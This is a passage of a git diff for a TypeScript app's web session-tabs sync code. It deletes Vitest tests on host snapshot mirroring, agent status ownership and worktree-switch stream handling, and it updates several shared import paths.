vi.fn(() => ({})), - subscribe: vi.fn(() => () => {}) - } -})) - -const WT = 'repo1::/path/wt1' -const ENV = 'web-env-1' -const HOST_TAB_ID = 'host-tab-1' -const LEAF_ID = '11111111-1111-4111-8111-111111111111' -const HOST_SURFACE_ID = `${HOST_TAB_ID}::${LEAF_ID}` -const MIRROR_TAB_ID = toWebTerminalSurfaceTabId(HOST_TAB_ID) -const MIRROR_PANE_KEY = makePaneKey(MIRROR_TAB_ID, LEAF_ID) -const HOST_PANE_KEY = makePaneKey(HOST_TAB_ID, LEAF_ID) -const T0 = 1_700_000_000_000 -const CLIENT_PROMPT = 'Configurar y entender los comprobantes electronicos del sistema' - -const LOCAL_WT = 'repo1::/path/local-wt' - -type TestStore = ReturnType - -function makeHostSnapshot(args: { - snapshotVersion: number - hostNow: number - includeAgentStatus: boolean - agentStatusOverrides?: Partial - aiVaultTitle?: { agent: 'claude'; sessionId: string; title: string } | null - resolvesSessionTitle?: true - title?: string - status?: 'ready' | 'pending-handle' -}): RuntimeMobileSessionTabsResult { - return { - worktree: WT, - publicationEpoch: 'host-epoch-1', - snapshotVersion: args.snapshotVersion, - activeGroupId: 'host-group-1', - activeTabId: HOST_SURFACE_ID, - activeTabType: 'terminal', - tabs: [ - { - type: 'terminal', - id: HOST_SURFACE_ID, - title: args.title ?? 'Terminal', - parentTabId: HOST_TAB_ID, - leafId: LEAF_ID, - isActive: true, - ...(args.status === 'pending-handle' - ? { status: 'pending-handle' as const, terminal: null } - : { status: 'ready' as const, terminal: 'terminal-1' }), - ...(args.aiVaultTitle !== undefined ? { aiVaultTitle: args.aiVaultTitle } : {}), - ...(args.resolvesSessionTitle ? { resolvesSessionTitle: true as const } : {}), - ...(args.includeAgentStatus - ? { - agentStatus: { - state: 'done' as const, - prompt: '', - updatedAt: args.hostNow, - stateStartedAt: args.hostNow - 1_000, - agentType: 'claude' as const, - paneKey: HOST_PANE_KEY, - tabId: HOST_TAB_ID, - worktreeId: WT, - stateHistory: [], - ...args.agentStatusOverrides - } - } - : {}) - } - ] - } -} - -/** Mirrors applyWebSessionTabsStorePatch: build the patch from live state, then setState it. */ -function applyHostSnapshot( - store: TestStore, - snapshot: RuntimeMobileSessionTabsResult, - now: number -): void { - const state = store.getState() - // The freshness gate must accept every republished frame (monotonic version). - expect(shouldApplyWebSessionTabsSnapshot(snapshot, ENV)).toBe(true) - const patch = applyWebSessionTabsSnapshot(state, snapshot, ENV, now) - store.setState(patch as Partial) -} - -/** Replay paired pty-connection OSC handling with client Date.now(); returns the release pty-connection holds for dispose(). */ -function replayClientOscWorking(store: TestStore, clientNow: number): () => void { - vi.setSystemTime(clientNow) - // Claim on transport creation, then verify ownership on each byte-derived status. - const release = registerRendererOwnedAgentStatusPane(MIRROR_PANE_KEY, ENV) - markRendererOwnedAgentStatusWrite(MIRROR_PANE_KEY) - store - .getState() - .setAgentStatus( - MIRROR_PANE_KEY, - { state: 'working', prompt: CLIENT_PROMPT, agentType: 'claude' }, - 'claude', - resolveRendererOwnedAgentStatusTiming( - store.getState().agentStatusByPaneKey.get(MIRROR_PANE_KEY) - ), - { tabId: MIRROR_TAB_ID, worktreeId: WT } - ) - return release -} - -function seedPairedClientStore(): TestStore { - const store = createTestStore() - seedStore(store, { - settings: { - ...getDefaultSettings('/tmp'), - tabAutoGenerateTitle: true - }, - worktreesByRepo: { - repo1: [ - // The paired server owns this workspace, so its titles stay the window's to apply. - makeWorktree({ - id: WT, - repoId: 'repo1', - path: '/path/wt1', - runtimeOwnerEnvironmentId: ENV - }), - makeWorktree({ id: LOCAL_WT, repoId: 'repo1', path: '/path/local-wt' }) - ] - }, - activeWorktreeId: WT - }) - return store -} - -describe('remote-paired pane: host snapshot mirror vs client byte-derived status/title (issue1-ui-flash)', () => { - beforeEach(() => { - vi.useFakeTimers() - vi.setSystemTime(T0) - resetWebSessionTabsSnapshotFreshnessForTests() - resetRendererOwnedAgentStatusPanesForTests() - }) - - afterEach(() => { - vi.useRealTimers() - resetRendererOwnedAgentStatusPanesForTests() - }) - - // Fence only proven client writers and never host-only state classes. - describe('authority handback', () => { - it('reclaims byte ownership after approval despite an ahead-clock host', () => { - const store = seedPairedClientStore() - replayClientOscWorking(store, T0 + 500) - - applyHostSnapshot( - store, - makeHostSnapshot({ - snapshotVersion: 2, - hostNow: T0 + 60_000, - includeAgentStatus: true, - agentStatusOverrides: { - state: 'waiting', - interactivePrompt: 'Allow exec_command?' - } - }), - T0 + 1_000 - ) - expect(store.getState().agentStatusByPaneKey.get(MIRROR_PANE_KEY)?.state).toBe('waiting') - - applyHostSnapshot( - store, - makeHostSnapshot({ - snapshotVersion: 3, - hostNow: T0 + 61_000, - includeAgentStatus: true, - agentStatusOverrides: { state: 'working' } - }), - T0 + 1_250 - ) - expect(store.getState().agentStatusByPaneKey.get(MIRROR_PANE_KEY)?.state).toBe('working') - - replayClientOscWorking(store, T0 + 1_500) - const byteEntry = store.getState().agentStatusByPaneKey.get(MIRROR_PANE_KEY) - expect(byteEntry?.state).toBe('working') - expect(byteEntry?.mirroredEvidenceReceivedAt).toBeUndefined() - expect(byteEntry?.interactivePrompt).toBeUndefined() - - applyHostSnapshot( - store, - makeHostSnapshot({ - snapshotVersion: 4, - hostNow: T0 + 120_000, - includeAgentStatus: true - }), - T0 + 2_000 - ) - expect(store.getState().agentStatusByPaneKey.get(MIRROR_PANE_KEY)).toMatchObject({ - state: 'working', - updatedAt: T0 + 1_500, - prompt: CLIENT_PROMPT - }) - }) - }) -}) diff --git a/src/renderer/src/runtime/web-session-tabs-sync/apply-snapshot.ts b/src/renderer/src/runtime/web-session-tabs-sync/apply-snapshot.ts index 928a6565bf8..5e71fd2a2db 100644 --- a/src/renderer/src/runtime/web-session-tabs-sync/apply-snapshot.ts +++ b/src/renderer/src/runtime/web-session-tabs-sync/apply-snapshot.ts @@ -1,6 +1,6 @@ import { agentSenderPublicationPatch } from '../native-chat/agent-senders/agent-sender-publication-patch' import { isWebSessionTabsWorktreeRemovalFrame } from './session-tabs-inventory-absence' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' import type { RuntimeMobileSessionTabsResult } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import { LOCAL_STRUCTURED_SESSION_OWNER } from '../native-chat/local-sessions/local-structured-session-owner' diff --git a/src/renderer/src/runtime/web-session-tabs-sync/global-session-inventory-event.ts b/src/renderer/src/runtime/web-session-tabs-sync/global-session-inventory-event.ts index ae12bd3ecff..c25d1d9d8aa 100644 --- a/src/renderer/src/runtime/web-session-tabs-sync/global-session-inventory-event.ts +++ b/src/renderer/src/runtime/web-session-tabs-sync/global-session-inventory-event.ts @@ -1,4 +1,4 @@ -import { toRuntimeExecutionHostId } from '../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { RuntimeMobileSessionTabsResult } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import { recheckUnconfirmedStructuredAgentLaunches } from '../../lib/agent-session/launch/structured-agent-session-launch-unconfirmed-recheck' import { useAppStore } from '../../store' diff --git a/src/renderer/src/runtime/web-session-tabs-sync/hydration/host-session-mirror-settle-receipt-frames.test.tsx b/src/renderer/src/runtime/web-session-tabs-sync/hydration/host-session-mirror-settle-receipt-frames.test.tsx index 6163ee65f99..67ac71fe90c 100644 --- a/src/renderer/src/runtime/web-session-tabs-sync/hydration/host-session-mirror-settle-receipt-frames.test.tsx +++ b/src/renderer/src/runtime/web-session-tabs-sync/hydration/host-session-mirror-settle-receipt-frames.test.tsx @@ -1,5 +1,5 @@ // @vitest-environment happy-dom -import { AgentStatusProjection } from '@/store/slices/agent-status/agent-status-projection' +import '@/store/slices/agent-status/agent-status-projection' import { act, renderHook } from '@testing-library/react' import { describe, expect, it, vi } from 'vitest' @@ -40,32 +40,28 @@ vi.mock('../../hosted-terminals/creation/web-runtime-terminal-creation', async ( } }) -import { useAppStore } from '@/store/index' -import { resumeSleepingAgentSessionsForWorktree } from '@/lib/agent-session/resume/resume-sleeping-agent-session' +import '@/store/index' +import '@/lib/agent-session/resume/resume-sleeping-agent-session' import { ENV, HOST_PARENT_TAB_ID, HOST_SURFACE_ID, MIRROR_TAB_ID, makeHostSnapshot, - OTHER_HOST_PARENT_TAB_ID, - OTHER_HOST_SURFACE_ID, WT } from './testing/host-session-mirror-frame-fixtures' import { - expectHostOwnedRecordNotResumed, findSubscription, installFrameOrderingHarness, publish, runtimeCall, - seedSleepingRecord, settle, tabIds } from './testing/host-session-mirror-frame-ordering-test-harness' -import '../../../../../shared/constants' -import { hasHostSessionMirrorHydrated } from './host-session-mirror-hydration' +import '../../../../../shared/orca-profiles/constants' +import './host-session-mirror-hydration' import { refreshWebRuntimeSessionTabsSnapshot } from '../inventory/web-runtime-session-snapshot' -import { clearWebSessionTabsTrackingForEnvironment } from '../tracking-lifecycle' +import '../tracking-lifecycle' import { useWebSessionTabsSync } from '../use-web-session-tabs-sync' import '../state' import '../../rpc/subscriptions/window-visibility-subscription-parking' @@ -74,52 +70,6 @@ import '../../rpc/subscriptions/window-visibility-subscription-parking' * The receipt era of the same seam: a settle exists only as the proof of a * landed patch, or as the rejection an already-accepted view backs. */ -describe('a global singular frame whose patch never lands', () => { - installFrameOrderingHarness() - - it.each(['patch', 'preparation'])( - 'settles nothing when %s fails before the write', - async (failure) => { - renderHook(() => useWebSessionTabsSync()) - await act(settle) - const paneKey = seedSleepingRecord(MIRROR_TAB_ID, WT, 'codex-session-apply-throw') - expect(resumeSleepingAgentSessionsForWorktree(WT)).toBe(0) - - const snapshot = makeHostSnapshot(WT, OTHER_HOST_SURFACE_ID, OTHER_HOST_PARENT_TAB_ID) - const prepare = vi.spyOn(AgentStatusProjection.prototype, 'prepare') - if (failure === 'patch') { - const malformed: { tabs: { id: string; terminal?: unknown }[] } = snapshot - malformed.tabs[0]!.terminal = undefined - } else { - prepare.mockImplementationOnce(() => { - throw new Error('cannot prepare status publication') - }) - } - try { - await publish(findSubscription('session.tabs.subscribeAll'), { - type: 'snapshot', - ...snapshot - }) - } finally { - prepare.mockRestore() - } - - expect(hasHostSessionMirrorHydrated(ENV, WT)).toBe(false) - expect(tabIds(WT)).toEqual([MIRROR_TAB_ID]) - expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined() - expect(Object.keys(useAppStore.getState().automaticAgentResumeClaimsByTabId)).toHaveLength(0) - - await publish(findSubscription('session.tabs.subscribeAll'), { - type: 'snapshot', - ...makeHostSnapshot(WT, OTHER_HOST_SURFACE_ID, OTHER_HOST_PARENT_TAB_ID), - snapshotVersion: 2 - }) - - expect(tabIds(WT)).not.toContain(MIRROR_TAB_ID) - expectHostOwnedRecordNotResumed(paneKey, WT, 'codex-session-apply-throw') - } - ) -}) describe('the eager post-create list answers for its worktree', () => { installFrameOrderingHarness() @@ -168,73 +118,6 @@ describe('the eager post-create list answers for its worktree', () => { expect(tabIds(WT)).not.toContain(MIRROR_TAB_ID) }) - - it('does not let a pre-reset eager list settle in the new tracking epoch', async () => { - let resolveList!: (response: unknown) => void - runtimeCall.mockImplementation((request: { method: string }) => - request.method === 'session.tabs.list' - ? new Promise((resolve) => { - resolveList = resolve - }) - : new Promise(() => {}) - ) - const paneKey = seedSleepingRecord(MIRROR_TAB_ID, WT, 'codex-session-eager-old-tracking') - expect(resumeSleepingAgentSessionsForWorktree(WT)).toBe(0) - - const refresh = refreshWebRuntimeSessionTabsSnapshot(ENV, WT) - await act(settle) - clearWebSessionTabsTrackingForEnvironment(ENV) - resolveList({ - id: 'list', - ok: true as const, - result: makeHostSnapshot(WT, OTHER_HOST_SURFACE_ID, OTHER_HOST_PARENT_TAB_ID), - _meta: { runtimeId: 'runtime-a' } - }) - await act(async () => { - await refresh - await settle() - }) - - expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined() - expect(hasHostSessionMirrorHydrated(ENV, WT)).toBe(false) - }) }) // A failed observer cannot undo a landed frame or skip later observers. -describe('a store subscriber that throws after the commit', () => { - installFrameOrderingHarness() - - it('still settles the frame whose patch landed', async () => { - renderHook(() => useWebSessionTabsSync()) - await act(settle) - const paneKey = seedSleepingRecord(MIRROR_TAB_ID, WT, 'codex-session-subscriber-throw') - expect(resumeSleepingAgentSessionsForWorktree(WT)).toBe(0) - - // Throw once: the released drain also writes this store and must not hit the same subscriber failure. - let threw = false - const unsubscribe = useAppStore.subscribe(() => { - if (threw) { - return - } - threw = true - throw new Error('agent status subscriber failed') - }) - const observed = vi.fn() - const unsubscribeLater = useAppStore.subscribe(observed) - try { - await publish(findSubscription('session.tabs.subscribeAll'), { - type: 'snapshot', - ...makeHostSnapshot(WT, OTHER_HOST_SURFACE_ID, OTHER_HOST_PARENT_TAB_ID) - }) - } finally { - unsubscribe() - unsubscribeLater() - } - - expect(threw).toBe(true) - expect(observed).toHaveBeenCalled() - - expect(tabIds(WT)).not.toContain(MIRROR_TAB_ID) - expectHostOwnedRecordNotResumed(paneKey, WT, 'codex-session-subscriber-throw') - }) -}) diff --git a/src/renderer/src/runtime/web-session-tabs-sync/hydration/testing/host-session-mirror-frame-ordering-test-harness.ts b/src/renderer/src/runtime/web-session-tabs-sync/hydration/testing/host-session-mirror-frame-ordering-test-harness.ts index 57c16bfd140..6410d20f45e 100644 --- a/src/renderer/src/runtime/web-session-tabs-sync/hydration/testing/host-session-mirror-frame-ordering-test-harness.ts +++ b/src/renderer/src/runtime/web-session-tabs-sync/hydration/testing/host-session-mirror-frame-ordering-test-harness.ts @@ -1,7 +1,7 @@ import { markHydratedBrowserPageHandles } from '@/store/slices/browser/hosts/browser-initialization-presentation-ownership' import { act, cleanup } from '@testing-library/react' import { afterEach, beforeEach, expect, vi } from 'vitest' -import { getDefaultSettings } from '../../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' import { makePaneKey } from '../../../../../../shared/workspace-layout/stable-pane-id' import { resetStaleDocumentVisibilityForTesting } from '@/components/terminal-pane/viewport/visibility/stale-document-visibility' import { useAppStore } from '@/store/index' diff --git a/src/renderer/src/runtime/web-session-tabs-sync/mirror-row-ownership.ts b/src/renderer/src/runtime/web-session-tabs-sync/mirror-row-ownership.ts index 2c520a71bcc..b161af75582 100644 --- a/src/renderer/src/runtime/web-session-tabs-sync/mirror-row-ownership.ts +++ b/src/renderer/src/runtime/web-session-tabs-sync/mirror-row-ownership.ts @@ -5,7 +5,7 @@ import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-t import type { Tab } from '../../../../shared/workspace-layout/tab-groups/tab-types' import type { BrowserPage } from '../../../../shared/browser/workspaces/browser-workspace-types' import { getBrowserPageRemoteOwnerEnvironmentId } from '../browser/ownership/remote-browser-tab-ownership' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getRemoteRuntimePtyEnvironmentId } from '../hosted-terminals/identity/remote-runtime-pty-owner' import type { WebSessionTabsSyncState } from './state' import { environmentIdsMirroringLocalTab } from './tracking-mappings' diff --git a/src/renderer/src/runtime/web-session-tabs-sync/store-patch.ts b/src/renderer/src/runtime/web-session-tabs-sync/store-patch.ts index 3b0384c5cf7..bb342eb4623 100644 --- a/src/renderer/src/runtime/web-session-tabs-sync/store-patch.ts +++ b/src/renderer/src/runtime/web-session-tabs-sync/store-patch.ts @@ -3,7 +3,7 @@ import { markStructuredAgentSessionLaunchesPublished, publishedStructuredSessions } from '@/lib/agent-session/launch/structured-agent-session-launch-publication' -import { toRuntimeExecutionHostId } from '../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { AppState } from '../../store/types' import { useAppStore } from '../../store' import type { RuntimeMobileSessionTabsResult } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' diff --git a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-worktree-switch.test.tsx b/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-worktree-switch.test.tsx deleted file mode 100644 index c7e9fb473af..00000000000 --- a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-worktree-switch.test.tsx +++ /dev/null @@ -1,230 +0,0 @@ -// @vitest-environment happy-dom - -import { act, cleanup, renderHook } from '@testing-library/react' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultSettings } from '../../../../../shared/constants' -import type { RuntimeHostStatusSnapshot } from '../../../../../shared/remote-runtime/host-status/runtime-host-status' -import type { RuntimeStatus } from '../../../../../shared/remote-runtime/session-graph/runtime-session-contracts' -import type * as WebRuntimeTerminalCreationModule from '../../hosted-terminals/creation/web-runtime-terminal-creation' - -vi.mock('sonner', () => ({ toast: { warning: vi.fn(), dismiss: vi.fn() } })) - -const mocks = vi.hoisted(() => ({ - createTerminal: vi.fn(), - ownerEnvironmentIdForWorkspace: vi.fn() -})) - -vi.mock('../mirrored-workspace-owner', () => ({ - mirroredRuntimeEnvironmentIdForWorkspace: (state: unknown, workspaceId: string | null) => - workspaceId ? (mocks.ownerEnvironmentIdForWorkspace(state, workspaceId) ?? null) : null -})) - -vi.mock('../../hosted-terminals/creation/web-runtime-terminal-creation', async (importOriginal) => { - const actual = await importOriginal() - return { - ...actual, - createWebRuntimeSessionTerminal: mocks.createTerminal - } -}) - -import { useAppStore } from '@/store/index' -import { replaceRuntimeEnvironmentRevisions } from '../../rpc/environment-revisions/runtime-environment-revision' -import { clearHostLiveTerminalProbesForTests } from '../../hosted-terminals/inventory/host-live-terminal-probe' -import { resetWebSessionTabsSnapshotFreshnessForTests } from '../tracking-lifecycle' -import '../tracking' -import { useWebSessionTabsSync } from '../use-web-session-tabs-sync' -import { clearRuntimeEnvironmentConnectionGenerations as clearRuntimeEnvironmentConnectionGenerationsForTests } from '@/store/slices/runtime-status/runtime-status-connection-generation' -import { resetWebRuntimeInitialTerminalBootstrapForTests } from '../initial-terminal/web-runtime-initial-terminal-bootstrap' -import { publicRuntimeEnvironment } from '../../rpc/testing/paired-runtime-environment-test-fixture' - -const ENV = 'env-a' -const WORKTREE_A = 'repo-a::worktree-a' -const WORKTREE_B = 'repo-a::worktree-b' -const REVISION = 101 -const initialState = useAppStore.getInitialState() - -type RuntimeSubscribe = typeof window.api.runtimeEnvironments.subscribe -type Recorded = { - request: Parameters[0] - callbacks: Parameters[1] - unsubscribe: ReturnType -} - -const subscriptions: Recorded[] = [] -const runtimeCall = vi.fn(async () => ({ - id: 'list-all', - ok: true as const, - result: { snapshots: [] }, - _meta: { runtimeId: 'runtime-a' } -})) -const runtimeSubscribe = vi.fn(async (request, callbacks) => { - const unsubscribe = vi.fn() - subscriptions.push({ request, callbacks, unsubscribe }) - return { unsubscribe, sendBinary: vi.fn() } -}) - -async function settle(): Promise { - for (let index = 0; index < 6; index += 1) { - await Promise.resolve() - } -} - -function makeStatus(): RuntimeStatus { - return { - runtimeId: 'runtime-a', - rendererGraphEpoch: 0, - graphStatus: 'ready', - authoritativeWindowId: null, - liveTabCount: 0, - liveLeafCount: 0 - } -} - -function hostSnapshot( - sequence: number, - patch: Partial = {} -): RuntimeHostStatusSnapshot { - return { - environmentId: ENV, - pairingRevision: REVISION, - sequence, - checkedAt: sequence, - status: makeStatus(), - verification: 'verified', - transport: 'ready', - ...patch - } -} - -function worktreeStreams(worktreeId?: string): Recorded[] { - return subscriptions.filter( - (entry) => - entry.request.method === 'session.tabs.subscribe' && - (worktreeId === undefined || JSON.stringify(entry.request.params).includes(worktreeId)) - ) -} - -function latestStream(worktreeId: string): Recorded { - const stream = worktreeStreams(worktreeId).at(-1) - if (!stream) { - throw new Error(`no stream for ${worktreeId}`) - } - return stream -} - -async function selectWorktree(worktreeId: string): Promise { - await act(async () => { - useAppStore.setState({ activeWorktreeId: worktreeId }) - await settle() - }) -} - -async function connect(): Promise { - renderHook(() => useWebSessionTabsSync()) - await act(async () => { - useAppStore.getState().applyRuntimeHostStatusSnapshot(hostSnapshot(1)) - await settle() - }) -} - -describe('session-tabs streams across worktree switches on one host', () => { - beforeEach(() => { - subscriptions.length = 0 - runtimeCall.mockClear() - runtimeSubscribe.mockClear() - mocks.createTerminal.mockReset().mockResolvedValue({ status: 'created' }) - mocks.ownerEnvironmentIdForWorkspace.mockReset().mockReturnValue(ENV) - Object.defineProperty(window, 'api', { - configurable: true, - value: { - runtimeEnvironments: { call: runtimeCall, subscribe: runtimeSubscribe } - } - }) - resetWebSessionTabsSnapshotFreshnessForTests() - resetWebRuntimeInitialTerminalBootstrapForTests() - clearHostLiveTerminalProbesForTests() - clearRuntimeEnvironmentConnectionGenerationsForTests() - const runtimeEnvironments = [ - publicRuntimeEnvironment({ id: ENV, createdAt: 100, pairingRevision: REVISION }) - ] - replaceRuntimeEnvironmentRevisions(runtimeEnvironments) - useAppStore.setState( - { - ...initialState, - settings: { - ...getDefaultSettings('/tmp'), - activeRuntimeEnvironmentId: ENV - }, - activeWorktreeId: WORKTREE_A, - workspaceSessionReady: true, - runtimeEnvironments, - runtimeStatusByEnvironmentId: new Map() - }, - true - ) - }) - - afterEach(() => { - cleanup() - useAppStore.setState(initialState, true) - replaceRuntimeEnvironmentRevisions([]) - resetWebSessionTabsSnapshotFreshnessForTests() - resetWebRuntimeInitialTerminalBootstrapForTests() - clearRuntimeEnvironmentConnectionGenerationsForTests() - }) - - it('drops a warm stream when its host is re-paired while another host is selected', async () => { - await connect() - const streamA = latestStream(WORKTREE_A) - mocks.ownerEnvironmentIdForWorkspace.mockImplementation((_state, worktreeId) => - worktreeId === WORKTREE_B ? 'env-b' : ENV - ) - const withHostB = [ - ...useAppStore.getState().runtimeEnvironments, - publicRuntimeEnvironment({ id: 'env-b', createdAt: 200, pairingRevision: 201 }) - ] - replaceRuntimeEnvironmentRevisions(withHostB) - await act(async () => { - useAppStore.setState({ runtimeEnvironments: withHostB }) - await settle() - }) - await selectWorktree(WORKTREE_B) - expect(streamA.unsubscribe).not.toHaveBeenCalled() - - const repaired = withHostB.map((environment) => - environment.id === ENV ? { ...environment, pairingRevision: REVISION + 1 } : environment - ) - replaceRuntimeEnvironmentRevisions(repaired) - await act(async () => { - useAppStore.setState({ runtimeEnvironments: repaired }) - await settle() - }) - - expect(streamA.unsubscribe).toHaveBeenCalled() - }) - - it('drops warm streams once the host returns as a new runtime session', async () => { - await connect() - await selectWorktree(WORKTREE_B) - const streamA = latestStream(WORKTREE_A) - const streamB = latestStream(WORKTREE_B) - - await act(async () => { - useAppStore - .getState() - .applyRuntimeHostStatusSnapshot(hostSnapshot(2, { verification: 'unavailable' })) - useAppStore.getState().applyRuntimeHostStatusSnapshot( - hostSnapshot(3, { - status: { ...makeStatus(), runtimeId: 'runtime-b' } - }) - ) - await settle() - }) - - expect(streamA.unsubscribe).toHaveBeenCalled() - expect(streamB.unsubscribe).toHaveBeenCalled() - expect(latestStream(WORKTREE_B)).not.toBe(streamB) - await selectWorktree(WORKTREE_A) - expect(latestStream(WORKTREE_A)).not.toBe(streamA) - }) -}) diff --git a/src/renderer/src/runtime/web-session-tabs-sync/tab-builders.ts b/src/renderer/src/runtime/web-session-tabs-sync/tab-builders.ts index 8d6ceb028f4..bd7b45cb53e 100644 --- a/src/renderer/src/runtime/web-session-tabs-sync/tab-builders.ts +++ b/src/renderer/src/runtime/web-session-tabs-sync/tab-builders.ts @@ -4,7 +4,7 @@ import type { BrowserWorkspace } from '../../../../shared/browser/workspaces/bro import type { Tab } from '../../../../shared/workspace-layout/tab-groups/tab-types' import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-tab-types' import type { OpenFile } from '../../store/slices/editor/types/open-file' -import { toRuntimeExecutionHostId } from '../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { ReadyEditorSurface, MirroredEditorTab } from './state' import type { WebSessionExistingTabIndex } from './placement/web-session-existing-tab-index' import { isReadyEditorTab } from './terminal-surfaces' diff --git a/src/renderer/src/runtime/web-session-tabs-sync/terminal-surfaces.ts b/src/renderer/src/runtime/web-session-tabs-sync/terminal-surfaces.ts index 2a41825e1b5..165efd6593b 100644 --- a/src/renderer/src/runtime/web-session-tabs-sync/terminal-surfaces.ts +++ b/src/renderer/src/runtime/web-session-tabs-sync/terminal-surfaces.ts @@ -25,7 +25,7 @@ import type { MirroredAgentTab } from './state' import type { Tab } from '../../../../shared/workspace-layout/tab-groups/tab-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { structuredAgentSessionTabId } from '../../../../shared/agent-session/view/structured-agent-session-projection' import { hasStructuredAgentSessionLaunchCancellationTombstone } from '@/lib/agent-session/launch/structured-agent-session-launch-registry' import { withPendingPaneTitleRenames } from './naming/pending-pane-title-renames' diff --git a/src/renderer/src/runtime/web-session-tabs-sync/tracking-decisions.ts b/src/renderer/src/runtime/web-session-tabs-sync/tracking-decisions.ts index 34384fbe4a7..96991b1f45f 100644 --- a/src/renderer/src/runtime/web-session-tabs-sync/tracking-decisions.ts +++ b/src/renderer/src/runtime/web-session-tabs-sync/tracking-decisions.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import type { RuntimeMobileSessionTabsResult } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import { latestSessionTabsSnapshotByWorktree, diff --git a/src/renderer/src/runtime/web-session-tabs-sync/visibility-types.ts b/src/renderer/src/runtime/web-session-tabs-sync/visibility-types.ts index 468725f7df4..caa2ff2df7f 100644 --- a/src/renderer/src/runtime/web-session-tabs-sync/visibility-types.ts +++ b/src/renderer/src/runtime/web-session-tabs-sync/visibility-types.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' /** The floating terminal is local-only and never belongs to a host mirror. */ export function isHostMirroredWorktree(worktreeId: string): boolean { diff --git a/src/renderer/src/runtime/web-session-tabs-sync/workspace-selection/web-runtime-session-workspace-routing.ts b/src/renderer/src/runtime/web-session-tabs-sync/workspace-selection/web-runtime-session-workspace-routing.ts index f93803cf192..571fe007eec 100644 --- a/src/renderer/src/runtime/web-session-tabs-sync/workspace-selection/web-runtime-session-workspace-routing.ts +++ b/src/renderer/src/runtime/web-session-tabs-sync/workspace-selection/web-runtime-session-workspace-routing.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' /** Only undefined permits focused-host fallback. Explicit null/blank means resolved without a runtime owner; collapsing these routes local/SSH workspaces to the focused remote (#16444). */ export function resolveWebRuntimeSessionEnvironmentId( diff --git a/src/renderer/src/runtime/web-session-tabs-sync/workspace-selection/web-runtime-session-workspace-selection.ts b/src/renderer/src/runtime/web-session-tabs-sync/workspace-selection/web-runtime-session-workspace-selection.ts index 6368bde2c59..5cd3b371b21 100644 --- a/src/renderer/src/runtime/web-session-tabs-sync/workspace-selection/web-runtime-session-workspace-selection.ts +++ b/src/renderer/src/runtime/web-session-tabs-sync/workspace-selection/web-runtime-session-workspace-selection.ts @@ -1,4 +1,4 @@ -import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { useAppStore } from '../../../store/index' import { shouldRestoreWebRuntimeSessionWorkspaceSelection, diff --git a/src/renderer/src/runtime/workspace-layout/frames/paired-server-workspace.ts b/src/renderer/src/runtime/workspace-layout/frames/paired-server-workspace.ts index 979914718f6..4a6d4fc3ba1 100644 --- a/src/renderer/src/runtime/workspace-layout/frames/paired-server-workspace.ts +++ b/src/renderer/src/runtime/workspace-layout/frames/paired-server-workspace.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { buildHostIdByWorktreeId } from '@/lib/workspace/persistence/workspace-session-host-persistence' import type { HostIdByWorktreeId } from '@/lib/workspace/persistence/workspace-session-host-split' import type { AppState } from '@/store/types' diff --git a/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-builds.ts b/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-builds.ts index d00e38d3254..751db0f61f6 100644 --- a/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-builds.ts +++ b/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-builds.ts @@ -14,7 +14,10 @@ import { layoutViewAndFactsOfStore } from '@/store/workspace-layout/frames/works import { buildWorkspaceSessionPayload } from '@/lib/workspace/persistence/workspace-session' import { buildUnifiedTabSessionData } from '@/lib/workspace/persistence/workspace-session-unified-tabs' import { splitWorkspaceSessionByHost } from '@/lib/workspace/persistence/workspace-session-host-split' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { DesktopLayoutView, LayoutContentFacts diff --git a/src/renderer/src/runtime/workspace-layout/server/server-layout-frame-ids.ts b/src/renderer/src/runtime/workspace-layout/server/server-layout-frame-ids.ts index 4c275bb34b3..01be175edd5 100644 --- 